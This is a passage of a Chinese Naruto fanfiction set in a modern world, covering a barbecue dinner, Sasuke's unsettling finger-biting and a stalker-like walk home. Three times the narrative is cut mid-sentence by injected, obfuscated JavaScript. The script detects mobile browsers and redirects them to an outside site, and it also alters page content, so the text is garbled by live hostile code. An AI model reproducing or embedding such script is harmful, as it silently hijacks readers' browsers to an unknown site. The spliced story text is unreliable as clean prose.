“那个……”怯懦的、比雨滴落在地面的声音还要小的低语。 “哈啊?”丁次说,“初代火影的孙女……现在应该已经是老奶奶了吧?” “……”宁次不语,只是一味喝大麦茶。 鸣人也露出困惑的表情:“是啊,应该有五十多岁了吧。但是爸爸非常慎重地告诫我,等我见到纲手老师的时候,千万不能提起她的年龄。”他苦恼地抚摸着下巴,“搞不明白……为什么呢……” 因为提起女生的年龄是大忌,一辈子都交不上女朋友的漩涡鸣人小朋友。 “那个……”柔软的、低低的、糯糯的畏缩声音在旁边响起。 一碟巴掌大小的糖渍番茄被轻轻地、小心地推过来。 只有拇指大小,正好是一口一个的程度。被细细剥了皮,浸没在酸甜可口的番茄汁里,只是看着就令人食指大动。 我转头望过去,雏田双手的食指紧张地搅和在一起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993385|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂着眼睫,结结巴巴地低声说:“那个,番茄……你喜欢的……可以吃……” 她今天穿着绛紫色的连衣裙,长发柔顺,珍珠发冠与项链耳坠是成套的,打扮得如同大小姐一般贵气优雅,气质娴静。但很少开口,只是安静地坐在角落听大家发言。 “谢谢你,雏田。”我听见自己的声音惊喜地说,“这家烤肉店的番茄是我的最爱呢!” 餐前的番茄甜点,应该是雏田特地为我点的。 体会到友人珍贵的心意,我被冻结的心变得温暖起来,冰块融化,流淌着暖流。 我用叉子叉了一个放入口中,随着牙齿的咬合,小番茄在口中迸发汁液,十分开胃。 雏田在旁边注视着我,看见我露出吃到美味食物时,忍不住发亮的眼睛,她也羞怯地抿了抿唇,紧紧绞着手指,慢慢地、很小心地偷偷笑了一下。 “太好了。”她小声说,羞赧地咬住了下唇。 “很好吃呢!雏田,你也吃!” 我喜欢把好吃的食物分享给朋友们,就叉了小番茄喂给雏田。 雏田整个人都愣住了:“……” 她露出十分动摇的表情,紧张地深呼吸,接着给自己鼓劲似的握了握拳头。红着脸探着身子过来,手指勾着滑落的长发,小心翼翼地把番茄叼走了。 “很、很美味——” 雏田捂着嘴小声说,她还没有说完,小樱就把手臂搭在了我的肩膀上,撒娇道:“真是的!人家也要嘛!” “欸?好的。” “哈啊,小樱真狡猾!我也想被这孩子喂!!”小樱旁边的天天不满地大叫道。 “我好像被某个坏孩子遗忘了!真伤心!”井野在雏田旁边抱着手臂,佯作生气。 “咦?这、嗯……?” 我有些不知所措,左右看着大家,强烈地动摇起来。 “是我先的吧?!” “哈啊?我才是这里最爱吃番茄的人!” “如果能喂给我的话,我会、会很高兴的!” 叉子上的小番茄往下滴落着淡红色的汁水,成为全场的焦点。 小樱她们紧紧盯着我的动作。 ……要第一个喂给谁? 对视时快速闪过的,坚韧又自我的不服输与较量。 噼里啪啦的火花。 空气里似乎有什么在焦灼着。 微妙又压抑的紧绷感。 有某种黏着的物质被灼烧的特殊气味。 对面的鸣人露出迷惑的表情看着我们。他看了看被甜蜜柔软的女孩子包围住的我,又看了看桌子上平平无奇的番茄:“这家店的番茄有这么好吃吗?”他疑惑地说,嘴巴比脑子动得快,“那我也要——” “不准!”小樱凶巴巴地打断他,“鸣人!你自己吃!” 她捧着我的脑袋,板着脸严肃地命令,盯着我的眼睛,望进深处:“不准喂男生们!” “就是就是!”天天说。 “……嗯。”雏田小声地用鼻音回应,低着头,也没有反对。 “全部是我的份噢。”井野发出宣言。 鸣人难以置信地大叫道:“凭什么啊!” 比鸣人更摸不着头脑的是丁次:“那就再点五份?” “我同意!”小李竖起大拇指表决。他和丁次已经把全部的餐前菜吃完了,好可怕的食量。 “……”宁次摇头不语,只是一味喝大麦茶。 在吵吵闹闹间,聚餐的人差不多都来了。店里的人来问了上菜时间,就准备开始烤肉了。 木门被拉开,我还以为是来送菜的侍应生,谁知道包厢里陡然安静下去。鸣人脸上的表情有瞬间变得很奇怪,小樱也一下收紧了抓着我肩膀的手。 我转过头看去,一个穿着高领中袖白衬衣的黑发男子站在门口,领口开得很低。被打湿的地方隐隐约约透着胸肌的轮廓和肌色。 正是刚刚被我无意间用雨水溅湿的青年。 他冷淡地环顾了一圈包厢内的人,冰冷的视线在我的脸上淡漠地扫过去,径直走进来,一个人坐在了长桌的尽头,周围没有任何人。孤僻冷漠,显然没有任何要和其他人交流的意思。 方才还很热闹的包厢,仿佛掉进了冰窟,一下子变得压抑而寒冷起来。 4. 第 4 章 04、 生牛肉有着漂亮的雪花肌理,在炭火的炙烤下噼啵噼啵,滋滋冒着油光。柔润的油脂在高温的烘烤下自牛肉间渗出,粉色的生肉很快变成了淡褐色,空气里满是肉类美拉德反应后独特的炙烤香气,令人食指大动。 将烤得刚好的厚切牛肉块用刀切开,肌红蛋白自肉的纹理间析出,外层是恰到好处的焦褐色,内里是柔嫩的深粉色。用牙齿轻轻咬下,鲜美的肉汁就喷涌出来,上好的和牛肉香混合着被炙烤过的脂肪的复杂香气在口腔中蔓延,霸道地占据每一寸感官。 原本是味蕾视觉的双重享受,但因为聊天的冷场,显得多少有些食不下咽。 碗筷碰撞声、肉类和菇类被炙烤的滋滋声、咀嚼声、谈话声。 细细碎碎,压抑而古怪。 相互交换的目光。 烤盘下涌流着心照不宣的禁忌。 房间里的大象,皇帝的新衣,孤僻冷漠的黑发男子,存在又不可言说的事实。 众人都不去戳破糖衣下的真相,不提及佐助和他那位兄长的事,小心翼翼地维持着表面上的和谐。 作为唯一不知道他们过去发生了什么的局外人,我更是字斟句酌,唯恐破坏这份来之不易的平静——能够答应鸣人今晚的聚餐邀约,佐助大概也是想和大家和好的吧……没错的吧?! 毕竟,听说他们是一起长大,由一个老师教出来的孩子们。 原来今晚就是破冰烤肉聚餐啊! 灯泡在脑侧亮起,我完全明白了! 但是鸣人固执起来真的很难摆脱,他是个超麻烦的家伙。搞不好佐助只是被鸣人烦得没办法才答应过来,这种情况也不是不可能……不如说完全就是真相吧! 没错,新加入的黑发男子,就是鸣人和小樱曾经的朋友宇智波佐助。他是个气质相当冷淡疏离的酷哥,动筷的频率很低,几乎不怎么吃,在大家聊天时从不说话。即使鸣人和小樱主动和他搭话,他回话的次数也少得可怜。 不过有些奇怪的是,他时常嗅闻自己的右手掌,仿佛那里留下过什么令他十分在意的气味。 大概大家很想和久别重逢的曾经挚友重新搞好关系,每个人都在绞尽脑汁想着佐助感兴趣的话题,勾引他主动说话。 暗暗较劲的劲头,简直像在把“谁能第一个让佐助主动开口”当成什么竞赛游戏了。 一时挚友,一生挚友。也不管对方想不想要你这个朋友。 没办法,木叶大学的挚友情是这样的。 “那个啊,”不知道是谁先开了头,“最近网络上很火的那个月之眼企划,你们听说了吗?!” “宇智波集团的?” 月之眼企划是当下最火的网络热点,在年轻人之间十分流行。一时间大家纷纷七嘴八舌地说起来,气氛回温,变得热闹起来。有人看向我:“我记得……你好像是在宇智波集团旗下的公司实习?” “对。”我匆匆忙忙咽下口中食物,忙不迭点了点头。 月之眼企划是科技文明发展的产物,更是公司这个年度最重要的项目,预计在年底前上线。 广义上来说,月之眼是一个跨时代的大型智脑,它的徽标是一只猩红色的,有着黑色纹样的眼睛。犹如高悬之月。 只需要将意识接入月之眼,就能体验完美的第二个人生。 根据公司的宣传来推测:月之眼能够利用浩如烟海的数据,运算出与这个时空平行的,另一个真实的世界。让你的意识在其中永生。 在那里,所有的遗憾都能被弥补,所有的痛苦都不将存在。无需为打碎的牛奶哭泣,只需要将你的意识交给月之眼,牛奶瓶从未掉落过。 “有点像是大型全息模拟人生游戏?”我不太确定地说,“听公司的前辈说,已经进入测试阶段了,内测名额很抢手,需要抽签。我虽然申请了,不过应该没什么希望啦。” 我的运气一向很普通。连三色团子都没有抽到过! 鸣人的表情倒是有点皱巴巴的,他皱着眉说:“我怎么觉得……这个企划听起来怪怪的……” “哪里怪怪的?” “你们看啊,”鸣人摸着下颌,说,“如果所有人的意识都登入智脑,被别人操控我们自己的人生,那不是很恐怖吗?”他眼疾手快把最后一块烤肉夹走。 “啊!鸣人好狡猾!那是我守护了很久的烤肉——” 鸣人迅速把烤肉塞进嘴里,被烫得嘶嘶吸气。他有着野兽般的可怕直觉,时常能发现别人察觉不到的细节。烤肉的铁夹子点了点正在烤盘上炙烤的生牛肉,鸣人说:“那时候我们真实的身体就像这些烤肉一样,无知无觉地在这个真实世界枯萎,意识在数据世界永存——人都死掉了,这叫什么永生啊?!” “但是宣传片上显示,用户可以自由选择登入登出啊。” “我就是觉得怪怪的啦!”鸣人说,“把意识上传到数据空间,重新活一次弥补遗憾什么的……还是过好现实世界最重要吧?!” “呜哇,鸣人难得的严肃!把它当作游戏玩就好了啦……” 说到这里,聊天声忽然被一阵手机铃声打断。 众人看了过来。 “啊,抱歉,是我的。”我拿出手机,来电显示是一个未知号码。可能是公司里的前辈来找,我不敢怠慢,道了声歉,就拿着手机小跑到烤肉店外面。 风铃声响起,出了烤肉店,嘈杂喧闹的声音被关在门内。 屋外淅淅沥沥的雨丝,微风凉凉地吹拂在面颊上。 我连忙按下接通键。 “您好,打扰了,我看到了您发过来的信息,冒昧打了电话过来。”男声十分有礼貌,嗓音低沉温和,“我是宇智波鼬。” 宇智波? 我愣了下。 宇智波斑、宇智波佐助、宇智波鼬。 最近遇到的,姓宇智波的男人似乎有点多? “您好。”我连忙说,“是快递被弄错的鼬先生吗?” 乍然从温暖的室内来到屋外,被冷风一激。我的声音带了点沙哑的鼻音。 我连忙吸了吸鼻子,咳嗽了两声,裹紧外套。 对面听到我的声音之后,不知为何,停顿了很长时间没有说话。 只有越来越粗重的呼吸声,透过滋啦滋啦的电流传来。令人后背有些毛毛的。 “鼬先生?”我提醒道,“您听得到吗?是信号不好吗?” 手机忽然提示我,对方正在录音。 为什么要把我的声音录下来? “抱歉,”对方说,“不知您何时有空,我想过来一趟,取走我的物品。” “那个就放在我的屋子外面,”我说,“鼬先生直接拿走就好。电梯有身份识别,保安那里应该有登记信息就可以拿到的临时身份卡,我会联络他给您的。” “我想当面取走比较好,您觉得呢?” 我劝说了几句,对方却不肯退让。 我只好说:“我在外面聚餐,大概会很晚才回去。” “我会等待您回家的。” ……我打了个寒颤,鼬先生这句话听起来怎么怪怪的? “那我到家时给您发短信。”我只好这样说。 “麻烦您了。” 挂断了电话,我擦了擦脸颊上被溅到的雨珠,正要回去,转身之后,却冷不丁发现身后站着一个大活人。 这一下好悬没把我吓得尖叫起来。 黑发男子的气质比这下着雨的天空还要冰冷。 手腕隐隐作痛,我对这个冷冰冰、力气又很大,还洁癖的家伙有些心里发怵,出于礼貌,挤出笑脸打了声招呼:“好巧,佐助,你出来透气吗?” 他没说话,黑沉沉的眼睛阴郁地盯着我,下压的嘴角抿着。站得离我很近,前胸后背几乎贴在一起,他的鼻尖耸动,紧紧皱眉,似乎在我身上嗅闻着什么。 ……他好像不太喜欢我? 我讨了个没趣,不尴不尬地摸了摸鼻子,推开门回烤肉店去了。 叮铃。 风铃声响起。 我回过头一看,原来是佐助跟着我回来了。 我不太想和他一起回包厢,就拐了个弯,先去了趟洗手间,整理了一下衣服和妆容。 等我出了洗手间,却看见佐助并没有回包厢,而是站着洗手间外面,双手抱臂,冷着脸靠着墙,像在等人。 烤肉店里十分热闹,不少女生偷偷摸摸指着佐助,激动地和同伴说着什么。还有人偷偷拍照。 就在我愣神的工夫,一对女生相互鼓励着,鼓起勇气走过来问佐助要联系方式。 大概是看到他身边没有女孩子,所以想要搭讪吧。 佐助冷淡地把脸别过去,无言的拒绝。 “帅哥~~” 还是有锲而不舍的年轻女孩凑上去。 “……” 佐助的怒气值正在积蓄,眼神越来越阴郁冰冷。也不知道他在等谁,都这样了还不离开。 忽然,他鼻尖动了动,猛地朝我这个方向看过来。 我心里一惊,可不想被佐助发现我在兴致勃勃看他的八卦,立刻把看热闹的脑袋转回去,往反方向走,准备绕个大弯回去包厢。 我走到一半,发现有很多人盯着我的后背。疑惑地转头一看,这才发现,佐助又跟着我了。 就算我是白痴,现在也知道佐助是故意的了。 但是他为什么老是跟着我? 像猫似的走路没有声音。冷不丁一回头,一双黑沉沉的眼睛直勾勾盯着我,阴郁晦暗。 阴森森的。 怪瘆人的。 我别扭地走回包厢,一时不慎被路过的烤炉,溅出的炭火星燎到了食指,立刻红了一片。 还好不是特别严重,小樱帮我和侍应生要了冰块冰敷。 很快大家都吃得差不多,开始玩起了幼稚的游戏。 “来掰手腕吧,掰手腕!”鸣人兴高采烈地提议,“谁赢了就可以吃到最后一根蟹腿!” “好噢!” “赞成赞成!” “最后的蟹腿已经是我的囊中之物了!!” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993386|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是雪蟹大王!” ……这群人完全是小学生吧。 结果当然是所有的男生都输给了小樱。 “哼哼!”小樱得意地大笑起来。 接着轮到我和小樱比赛掰手腕。 “你的烫伤……”雏田小声说。 拿掉冰袋,稍微有点发红,几乎好了。我说:“已经没事了!” 然后握上小樱的手掌。 “加油!小樱!加油!怪力女!”大家像喝醉了的猴子一样嗷嗷起哄。还有人举着大葱当应援棒摇来摇去。 “你说谁是怪力女啊?!”小樱大叫道,脸上露出危险的笑容。 “加油!小樱!加油!木叶校花!”大家很快识时务改口了。 “三、二……” 只有作为裁判的宁次喝了口大麦茶,按部就班地开始倒计时。 小樱的眼中闪烁着志在必得的光亮。 “小樱的眼睛……”我看着她宝石般闪闪发光的绿眼睛,温柔地说,“真漂亮呀!就像绿宝石一样呢!” “……嗯?!”小樱一下子露出了相当动摇的表情,脸颊变得红彤彤的,非常害羞。 有破绽! 我立刻把小樱的手掌按在了桌子上。 大家都傻了眼,大葱啪嗒掉在了地上。 “优胜者是——”裁判宁次平静地宣布比赛结果,举起我的右手。 “好耶!”我跳来跳去欢呼。 “什么?!”小樱气呼呼地来捏我的脸,“你这个狡猾的坏孩子,居然对我说那种话!谁教你的!谁叫你用这招赢我的!就这么想得到雪蟹腿吗?” “咕噜咕噜咕噜咕噜咕噜咕噜(呜呜对不起小樱我们一起吃吧)。”我被捏着脸,口齿不清地笑着讨饶。 “什么?!我也要!也分我给我!” 鸣人窜了出来。他是怎么听懂我在说什么的?野兽的直觉? “哈啊那我也——” 呲—— 一声刺耳的噪音打断了我们之间的笑闹,佐助黑沉沉的眼睛盯着和我举止亲昵的学生们。看得人毛骨悚然。 我不自在地吞咽了一下。 他忽然站了起来,走到为了掰手腕而特地腾出的空地。坐在桌子的一头,然后看着我。 宁次平静地喝了一口大麦茶:“三、二……” 等等等等?! 刚刚大家比赛的时候,佐助完全没兴趣的样子坐在那里。为什么现在忽然要参赛了?! 还是这种幼稚的小学生掰手腕竞赛?! 为了保卫我的雪蟹腿,我在宁次喊开始之前,急忙把手伸过去,握住了佐助的左手。 立刻被握住了。 不如说是死死抓着我,五指陷入我的指缝间,用力包住。 吓了我一跳。 这家伙就这么想成为掰手腕大赛第一名吃掉雪蟹腿吗?!佐助原来是这样的搞笑人性格吗?!冷冰冰孤僻酷哥什么的是我看错了吗?! 我的力气只能说是普通水平,当然不可能赢得了佐助。 对方的体温透过相接触的手掌传达过来。 这种距离能看到他乌黑的眼珠,颤动的睫毛。 呼吸暧昧地交缠在一起。 我瞪大眼睛看着他,他又露出那种烤肉店门口,我把雨伞放下后,他第一眼见到我时的阴郁晦暗眼神。 那眼神中,宛如隐藏着千言万语,无比复杂沉重。 佐助嗅闻着什么,仿佛我身上有某种足以迷醉他的,强烈上瘾性的炫惑气息。吞咽唾液,喉结缓缓上下滑动。 他咬着牙,似乎在压抑着莫大的、难以想象的剧烈苦痛。 连触碰我一秒钟都无法忍受。 或许是刺激太过强烈,太过鲜明,令他难以遏制,紧握着我的手掌很快就微微颤抖起来。 理智溃不成军,意志逐渐决堤。 他的喘息一点一点变得紊乱、混乱不堪。 仿佛如果再这样手掌相握下去,他就会压抑不住。 他要做什么? 他会做什么? “佐、佐助?”我开始紧张起来,试着抽了抽右手,完全扯不出来。 那双漆黑的虹膜,被激荡的情绪染红,变得十足恐怖。 他强硬地抓着我的手凑到唇边,冰冷又妖异的勾玉红瞳直勾勾盯着我。 “都是你的错。”他哑声道,眼神混乱晦暗又微微失焦,“是你先引诱我的……” 接着,猩红的舌尖探出唇瓣,将我微微有些发红的食指,强势又不容许拒绝地含了进去,死死咬住。 强烈的渴求会畸变成无止境的食欲。 “咿!!” ——好痛!! 要被咬断了! 湿润的唾液。 口腔的触感。 贴合的嘴唇。 舌头在隐隐作痛的烫伤处柔软滑腻地打着转。 摩擦、安抚与舔舐。吮吸与啃咬。 他低低地喘息。 我的脑子里嗡的一声,大脑一片空白。 5. 第 5 章 05、 这不对劲,好奇怪。 我的意志前所未有地动摇起来。 就算我试着用“佐助是会帮烫伤的朋友舔舔伤口的温柔的孩子”这种理由来说服自己,他的行为也太暧昧了。 手指完全被青年的口腔包裹着,□□间有湿润细碎的水声。 舌头顺着指尖柔腻地打转,在敏感的指缝间蛇一般钻进钻出。 他咬着我的力气很大,往外抽就是钻心刺骨的疼痛。 被碰到的地方窜起强烈的麻痹感,那股吮吸感和被噬咬的疼痛就像是落入了蛇口。连带着整个右手手臂都仿佛失去了力气,变得软绵绵的,连抬都抬不起来。 与手臂相连的心脏处在疯狂的跳动,血液宕流间传来尖锐而鲜明的痛楚。 就像是刺入血管中,麻痹神经系统的蛇毒。 猩红色的、具有强烈攻击性的眼睛直勾勾看过来,伴随着喉结滚动时渴求的吞咽。 太阳穴附近的血管神经质地抽搐了一下。 宇智波佐助有着那样一张冷淡孤僻,昳丽漂亮到模糊性别的面容,周身上下散发着隐隐约约的寒气。因此他做出这种暗示性明确的暧昧动作,分外叫人口干舌燥。 完全就像是……根本就是在…… ——我真是个肮脏的成年人。 嘴唇无助地张合了几下。我的脸颊泛起热度,迅速变得通红。 他不是有洁癖,不太喜欢我吗? 如果之前只是压抑着暗流的冰山,表面上看不出危险。只听见冰层下细微如雪落的潮涌。那现在……冰面已经完全破裂了。 寒冷危险的暗流汹涌澎湃,卷着我的四肢,要将我拉拽至幽冷的海底。 他冰凉的手指顺着我的手腕往上攀爬,恍惚间就像是漆黑的蛇缠了上来,一点点收紧并绞死猎物。 我的呼吸声越来越急促燥热,心跳声大得整个包厢内都能听见。即使不停吞咽口水,喉咙里还是又干又热。另一只空余的手指紧紧抓着桌沿。额头上渗出冷汗,氧气逐渐稀薄,强烈的窒息感令肺部隐隐作痛—— “佐助!够了吧!” 有人猛地把我从侵入吞咽的蛇口中拽了出去,挡在身后,不满意地说。 “你就这么想做第一名吗?!那好吧,我就勉强承认你掰手腕有那么一点点比我厉害吧!” 像被从冰层下遽然拽出来,我猛地吸了一口冰凉的氧气。 紧绷到快要迸出火星的潮热暧昧空气,仿佛被人硬生生撕开。 大量氧气涌了进来。 急促起伏的胸口慢慢平复,灼烧到刺痛的肺部缓缓平静,黏湿滚烫的窒息感逐渐远离。 鸣人愤懑地大叫道,把烤得香喷喷的雪蟹腿啪的一下甩在佐助面前。劈开的蟹腿间,雪白的蟹肉散发着海水鲜香的气息,蒸腾着碳烤过后的热气。令人舌下生津。 鸣人抱着手臂不太高兴地说:“给你第一名奖品!下次我绝对不会输给你的!!” 佐助:…… 他捏了捏眉心。 “你以为我是为了这个?” 鸣人说:“不然呢?!” 佐助一言不发。 我站在鸣人背后,心有余悸地抓着鸣人的衣服,被咬过的食指指根有一圈鲜红的咬痕,微微有些破皮,渗出血丝。烫伤处的肌肤下的神经一抽一抽得疼,连着心脏也沉重而痛苦,伴随着抽痛的频率收缩舒张。 掌心似乎还残留着喷吐过来的青年温热急促的吐息的触感,不自然地反复抓握了几次,这古怪的感觉都没有消去。 手指很湿润,黏稠的唾液被风吹干以后,粘在手指上的触感相当令人在意。 那双旋转着黑色花纹的红瞳依旧冷静地注视着我的脸。 我打了个哆嗦——被看到的地方仿佛被蛇用黏腻的蛇信缓缓舔过似的,毒牙抵着肌肤刺入令人心悸麻痹的毒液,刺痛冰冷的恐怖触感难以忽视,想要落荒而逃。我吓得汗毛倒竖,连忙调整了一下姿势,整个人都缩到鸣人背后,躲过那目光,这才喘了口气。 劫后余生的轻松感慢慢地浮上心头。鸣人的身上有着太阳晒过的被子似的蓬松松香喷喷的味道,令人十分安心。 我并不了解宇智波佐助,甚至今天第一次见面时还给他留下了不好的印象。满打满算我们俩都算不上熟人。但是鸣人不一样,听说鸣人从小和佐助一起长大,他一定非常了解自己的挚友。 “已经赢了的话,”鸣人指责道,“就不要总抓着别人的手不放啊。宁次都已经说是你赢了的!” 嗯……原来是这样啊。我在心中连连点头,恍然大悟——通过鸣人的话,我完全理解了,原来佐助是想成为掰手腕竞赛第一名,得到蟹腿啊! 就像我夸赞小樱让她失神露出破绽一样,佐助通过用力咬我的手指令我输掉了比赛。 呜哇,真是狡猾。 这就是对我欺负小樱的现世报吗? 但是和我一定会输不同,佐助不耍手段,也可以掰手腕赢过我啊? 难道是佐助太喜欢吃蟹腿了,不想让我有一丝赢的可能性?这倒是可以理解。因为其实我也很喜欢吃蟹腿。可惜蟹腿总是很贵。打折的蟹肉便当里都是便宜的蟹□□,是用鱼糜和蟹味调料粉做的仿制品,完全尝不到蟹肉的美味。只有很少的机会能品尝到真正的美味。 佐助一定和我一样,都是贫穷的可怜学生,才迫不得已出此下策,用这样上不得台面的手段吧。这样的话,我就在心里原谅他了。 呜呜……永别了,雪蟹。 黑发的青年慢慢把目光移到鸣人脸上。 金发狐狸脸的青年有些紧张地微微抬了下手臂,把我往他身后揽了下。他的状态有些奇怪,急躁、混乱、不知所措,下意识的保护欲。蓝眼睛不再清明。像是自己也不明白自己此刻焦躁到口不择言的鲁莽行为,全凭野兽般的本能在行动。 佐助大概看出来了什么,手指有些焦虑地在桌子上点了点。但他倒是没说话,沉吟片刻,只是淡淡地“嗯”了一声。 其他人倒是看出来的东西更多,小樱的眼睛更是频繁在我和鸣人佐助脸上打转。十分纠结地说着什么“原本三个人就已经很多了,如果是四个人的话……呜可恶,不想分享”之类的话,看起来心情有些低落。 一直到离开烤肉店,大家之间的气氛都有些怪怪的,只有小李几个人完全不在状态,兴高采烈地商量着二次会要去哪家卡拉OK唱歌。 因为今晚还和鼬先生有约,我就拒绝掉了二次会,和朋友们在烤肉店门口告别。 小樱在长时间的纠结犹豫之后,似乎终于下定了决心,不甘心地握了握拳头,嘟哝着“既然是佐助的话,呜是佐助的话,呜……四个人就四个人吧!”用力抱了抱我:“到家以后给我发消息噢!那我们就先去唱歌了!” “嗯嗯!”我认真地点了点头。目送着他们离开。 原本佐助并不想参加二次会,但是鸣人一直固执地缠着他说“这么久没见了!我们可是挚友啊!”,好像“我们可是挚友啊!”是什么万金油理由一样。小樱也说“不会放着你去跟踪那孩子的!!就算以后是四个人也不允许佐助现在先偷跑!!”,和鸣人一起,硬是把佐助拉走了。 总觉得今夜,我的心灵里有什么重要的、纯白的东西,被温柔的友人鸣人和小樱守护了…… 注视着朋友们打打闹闹离开的背影,心脏变得十分温暖,像泡在了温泉里。 我微笑着在原地又待了一会儿。风里有逐渐远去的喧闹声、炙烤过的食物的香气、淅淅沥沥的雨丝。 商店街的灯笼明亮温柔,我给鼬先生发去了短信,接着打开雨伞,漫步在雨中,往家的方向走去。 从商店街回到家要走过两条街,拐一次弯,中间有段路在前段时间的地震中受到了波及,电路供应至今没有跟上。大约有三四百米的路段在晚上是没有路灯照明的。 但这附近很热闹,行人川流不息,道路也是时常有车来车往的大道。安全方面不存在什么问题。 我将耳机拿出来塞到耳朵里听着歌,迈开腿的动作忽然顿住了。 像是针刺一般,细密而尖锐的注视。 密密麻麻的。 在黑暗中,黏腻而阴湿,仿佛融化了的蜜糖般的,甜美又毛骨悚然的窥视的目光。 我感到强烈的不安和恐惧。这股感觉来得莫名其妙又突兀,就像某种不祥的第六感。 这黏腻的窥视存在感异常强烈。宛如数万枚锋利的针刺入皮肉,凿开骨头与神经,将我钉死在原地,动弹不得。 接着融化了的鎏金色的滚烫糖浆涌了上来,一点点黏住我的四肢,使我注视着自己成为琥珀中被凝固的虫豸。 ……死亡边缘的威胁。 心脏紧张恐惧得快要停止跳动。 连一根手指都动不了。冷汗浸湿后背。 仿佛被可怕的天敌在草丛间窥视着,牙齿颤抖着敲击在一起。 是谁? 是谁在看着我? 好恐怖。 好可怕。 一滴雨水,顺着吹来的微风,落在我握着伞柄的手背。 这一点冰凉的刺激令我猛地打了个寒颤,重新夺回了对身体的控制权。 我猛地往这针刺般的、有如实质的、黏腻阴湿的窥探目光的方向看去。 ——只是一片死寂的黑暗。 那里没有任何人。 我愣住了。 一对年轻情侣说笑着从我的身边走了过去,接着是追着跑远了的皮球的孩子,还有小跑着跟在孩子后面训斥着的母亲。 就像这尘世间每分每秒,每条大路上,无数人交错而过的人生。 我迟疑地收回视线,心里有些恐惧落空所带来的空荡与茫然。 肌酸过度分泌,握着伞柄的手指有些酸痛。我换了一只手,皱起眉。 ……是我太疑神疑鬼了吗? 的确,这部分路段是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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淅淅沥沥的雨珠很快就打湿了头发和衣服,我有些狼狈地,用手掌遮住脑袋往前小跑了几步,正要蹲下身捡起雨伞,却停住了。 在我弯下腰之前,有个人已经将我的雨伞捡了起来。 接着,脑袋上的雨滴消失了。那个人将伞撑在我的脑袋上。对方身高比我高很多,自己打着一把黑伞。抬起的伞面下是一张成年男性的脸,但——我控制着自己不要露出太失礼的表情——他一头黑色短发,左半张脸十分英俊,充满成熟男性特有的迷人韵味。但整个右半张脸仿佛被什么重物压过,呈现出一种螺旋状的伤疤,是完全毁容了的。叫人感到可惜。 左眼也不知道是出于什么原因,在那个地方佩戴着一枚黑色的眼罩。 唯一完好的右眼,则是血液般的猩红色,流转着令人目眩神迷的黑色花纹。危险而神秘,稍微注视几秒钟,就有种灵魂被吸入进去的错觉。 在只有月光照明的这条街上,危险又诡异。注视得久了,仿佛连天边那一轮明月,也要变成被鲜血染成的红色。 他整个人散发着危险又神秘的气息,强烈的男性荷尔蒙无孔不入,侵略性极强。令人心脏止不住狂跳起来。 我用力甩了甩脑袋,这才回过神,有些不好意思地道谢,伸出手接过雨伞:“谢谢您。” 对方的呼吸声在一瞬间停止了。 单人用的雨伞伞柄握把只有十来公分,很短,握上去的时候不可避免地碰到了男人赤裸的手掌。 与女性的柔软娇小完全不同,触感坚硬有力,体温略微高于我,哪怕只是握着伞柄也快要有我两倍那样大,难怪我握上去的时候会不小心压到他。 他的手背因猛地发力而凸起交纵的青色经络痕迹,看起来性感又危险,有着令人脸红心跳的庞大力量感。 男人的手指僵硬了半秒钟,接着我听见因为过度兴奋而响起的,令人后背发毛的吞咽唾液声。 湿滑黏腻的唾液宛如黏稠的糖浆,艰难地滑过干燥滚烫的喉管。就像给燃烧的火堆再添上一桶油。 被我压住的那部分手掌在微微发抖,压抑着狂热又甜蜜的欣悦。 触碰到的地方,他的体温正在上升。 “……咦?” 他还握着伞柄,我用了点力气,还是没办法把我的伞拿过来,只好提醒道:“……那个,先生?可以松开了噢?谢谢您帮我把伞捡起来,真是帮大忙了!” 雨似乎在这时候下大起来了,噼里啪啦地打在伞面上。宛如此刻越跳越急促的心脏。 掌心微微出了点汗。 我不安地舔了舔嘴唇:“先生?” 他一言不发地盯着我。 当我下意识舔唇缓解紧张的时候,他就盯着我的嘴唇与舌头。 红瞳微微眯起。 那一小片柔嫩的肌肤仿佛被点燃了。 鼻尖微微冒汗。 我有些僵硬,一动也不敢动。 他把伞松开了。 我松了口气。 “不用谢,小姐。”他微微翘起唇角,友好亲切地笑起来,红瞳中流转着黑色的花纹,看久了就很容易痴迷进去,“这是我应该做的。” 接着,礼貌地转身离开了。 我撑着伞,疑惑地注视着对方离去的背影。有些纳闷地歪了下脑袋。 真是个有些古怪的好心人…… 6. 第 6 章 06、 经历了这桩小插曲,我也没有了听歌的轻松心情。将耳机收了起来,我加快脚步,一路走回了家。 今夜月明星稀,苍穹如墨,恰是满月。一轮饱满浑圆的圆月挂在夜幕之上,照射下流水似的剔透明净月影,而这本该宁静的月色又被落下的豆大雨滴打碎…… 逐渐变大的雨声落在伞面,令人无端心中发慌。 似乎有什么事即将发生。 上公寓楼的电梯需要确认身份卡,我在口袋里摸了一摸,忽然怔住了。 ——有什么……在动? 就在我的背后。 通常人是无法看到自己的身后的景色的,但出于某种动物般的直觉,在其他感官的共同作用下,当身后有危险袭来时,人类会下意识觉得背后毛毛的、肌肤产生细微的生物电流,种种“不舒适”强烈地提醒着主人,在视觉的死角,有某种不对劲。 那么此刻,在我的背后,有什么东西? 咕嘟。 我不自然地吞咽唾液,感到手指一点一点冰凉起来。 